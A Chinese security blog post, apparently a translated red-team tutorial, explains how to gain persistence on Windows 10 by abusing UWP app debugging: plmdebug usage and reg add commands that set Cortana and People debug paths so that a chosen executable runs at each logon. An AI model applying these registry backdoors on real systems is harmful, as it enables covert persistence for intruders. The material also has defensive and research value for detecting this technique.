前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >利用通用应用UWP进行权限维持

利用通用应用UWP进行权限维持

作者头像
潇湘信安
发布2021-03-10 15:09:32
9370
发布2021-03-10 15:09:32
举报
文章被收录于专栏:潇湘信安

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x01 前言

这种权限维持方式也是一种自启动后门,但仅支持Windows 10通用应用平台(UWP)上的应用程序,如:Cortana和People。

只需将它置于调试模式后并配合Process Monitor工具找到UWP应用对应的注册表位置,然后修改为我们要执行的恶意程序,当机器注销/重启登录时就会执行这个程序。

原文地址:https://oddvar.moe/2018/09/06/persistence-using-universal-windows-platform-apps-appx

0x02 列出软件包名称

首先我们需要找出当前系统完整的软件包名称,因为后边PLMDebug调试时要用到,可以使用以下命令列出所有的软件包,这里仅显示name、packagefullname。

代码语言:javascript
复制
Get-AppxPackage | select name,packagefullname
图片
图片

0x03 安装PLMDebug

PLMDebug.exe包含在Windows调试工具中,所以我们只需要安装Windows 10 SDK即可,安装过程中只要选择“Debugging Tools for Windows”这一项就好了。

  • 下载地址:https://developer.microsoft.com/zh-cn/windows/downloads/windows-10-sdk/
图片
图片

0x04 调试Cortana软件包

使用以下命令调试Cortana软件包,然后在开始菜单中打开Cortana,胡乱点一下,稍等片刻即可弹出cmd.exe。

代码语言:javascript
复制
plmdebug.exe /enabledebug Microsoft.Windows.Cortana_1.10.8.17134_neutral_neutral_cw5n1h2txyewy C:\Windows\System32\cmd.exe
图片
图片
图片
图片

Process Monitor监视到了它的注册表位置,而且发现写入了大量相关注册表项和值,所有注册表项的值都是:C:\Windows\System32\cmd.exe,不过只要注销/重启系统后就没有了。

还在调试过程中发现这些行为都是由sihost.exe进程产生,所以我们只要在Process Monitor过滤器中仅显示包含sihost.exe即可显示出来。

  • 下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon
图片
图片
图片
图片

0x05 修改Cortana注册表

通过以下命令都可以实现持久化,方法都是一样的,只是注册表位置不一样,第一条会损坏原有Cortana程序,无法正常运行,第二条不会损坏原有Cortana程序,可以正常运行。

修改以下注册表项时必须先确定与你当前系统的UWP应用程序版本相对应,否则后门不会被触发。

People人脉:

代码语言:javascript
复制
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\PackagedAppXDebug\Microsoft.People_10.1807.2131.0_x64__8wekyb3d8bbwe /d "C:\Windows\System32\cmd.exe"
reg add HKCU\Software\Classes\ActivatableClasses\Package\Microsoft.People_10.1807.2131.0_x64__8wekyb3d8bbwe\DebugInformation\x4c7a3b7dy2188y46d4ya362y19ac5a5805e5x.AppX368sbpk1kx658x0p332evjk2v0y02kxp.mca /v DebugPath /d "C:\Windows\System32\cmd.exe"

Cortana(小娜):

代码语言:javascript
复制
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\PackagedAppXDebug\Microsoft.Windows.Cortana_1.10.8.17134_neutral_neutral_cw5n1h2txyewy /d "C:\Windows\System32\cmd.exe"
reg add HKCU\Software\Classes\ActivatableClasses\Package\Microsoft.Windows.Cortana_1.10.8.17134_neutral_neutral_cw5n1h2txyewy\DebugInformation\CortanaUI.AppXy7vb4pc2dr3kc93kfc509b1d0arkfb2x.mca /v DebugPath /d "C:\Windows\System32\cmd.exe"

注:笔者在当前测试环境下设置好了Cortana后门,在注销/重启系统登录时会执行1次,进入系统后每间隔5-20分钟左右会执行1次,这应该是微软后台自动运行了Cortana(小娜),所以会再次触发该后门,没有找到相关资料,具体原因不清楚,全靠猜,0.0 !!!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-02-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档